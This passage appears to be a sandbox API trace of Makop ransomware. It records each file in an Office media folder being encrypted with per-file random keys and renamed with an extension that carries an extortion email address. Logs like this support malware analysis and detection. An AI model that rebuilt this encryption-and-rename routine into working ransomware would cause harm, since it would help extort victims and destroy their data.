dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.974] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.974] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.974] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11e2, lpOverlapped=0x0) returned 1 [0162.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11f0, dwBufLen=0x11f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11f0) returned 1 [0162.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11f0, lpOverlapped=0x0) returned 1 [0162.976] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.976] SetEndOfFile (hFile=0xf0) returned 1 [0162.982] GetProcessHeap () returned 0x48a0000 [0162.982] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.982] GetProcessHeap () returned 0x48a0000 [0162.982] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.982] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.983] CloseHandle (hObject=0xf0) returned 1 [0162.984] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0162.984] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF") returned 61 [0162.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.985] GetProcessHeap () returned 0x48a0000 [0162.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.985] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0162.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.990] GetProcessHeap () returned 0x48a0000 [0162.990] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.990] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.991] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.991] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.991] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17f2, lpOverlapped=0x0) returned 1 [0162.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1800, dwBufLen=0x1800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1800) returned 1 [0162.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1800, lpOverlapped=0x0) returned 1 [0162.993] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.993] SetEndOfFile (hFile=0xf0) returned 1 [0162.999] GetProcessHeap () returned 0x48a0000 [0162.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.999] GetProcessHeap () returned 0x48a0000 [0162.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.999] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.001] CloseHandle (hObject=0xf0) returned 1 [0163.001] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0163.001] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF") returned 61 [0163.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.002] GetProcessHeap () returned 0x48a0000 [0163.002] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.002] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.007] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.007] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.007] GetProcessHeap () returned 0x48a0000 [0163.007] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.008] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.008] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb34e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb34e, lpOverlapped=0x0) returned 1 [0163.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb350, dwBufLen=0xb350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb350) returned 1 [0163.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb350, lpOverlapped=0x0) returned 1 [0163.011] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.012] SetEndOfFile (hFile=0xf0) returned 1 [0163.019] GetProcessHeap () returned 0x48a0000 [0163.019] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.019] GetProcessHeap () returned 0x48a0000 [0163.019] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.019] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.020] CloseHandle (hObject=0xf0) returned 1 [0163.020] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0163.021] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF") returned 61 [0163.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.022] GetProcessHeap () returned 0x48a0000 [0163.022] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.023] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.027] GetProcessHeap () returned 0x48a0000 [0163.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.028] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11be, lpOverlapped=0x0) returned 1 [0163.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0) returned 1 [0163.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11c0, lpOverlapped=0x0) returned 1 [0163.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.030] SetEndOfFile (hFile=0xf0) returned 1 [0163.037] GetProcessHeap () returned 0x48a0000 [0163.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.037] GetProcessHeap () returned 0x48a0000 [0163.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.037] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.039] CloseHandle (hObject=0xf0) returned 1 [0163.039] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0163.039] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF") returned 61 [0163.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.040] GetProcessHeap () returned 0x48a0000 [0163.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.041] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.045] GetProcessHeap () returned 0x48a0000 [0163.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.045] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, 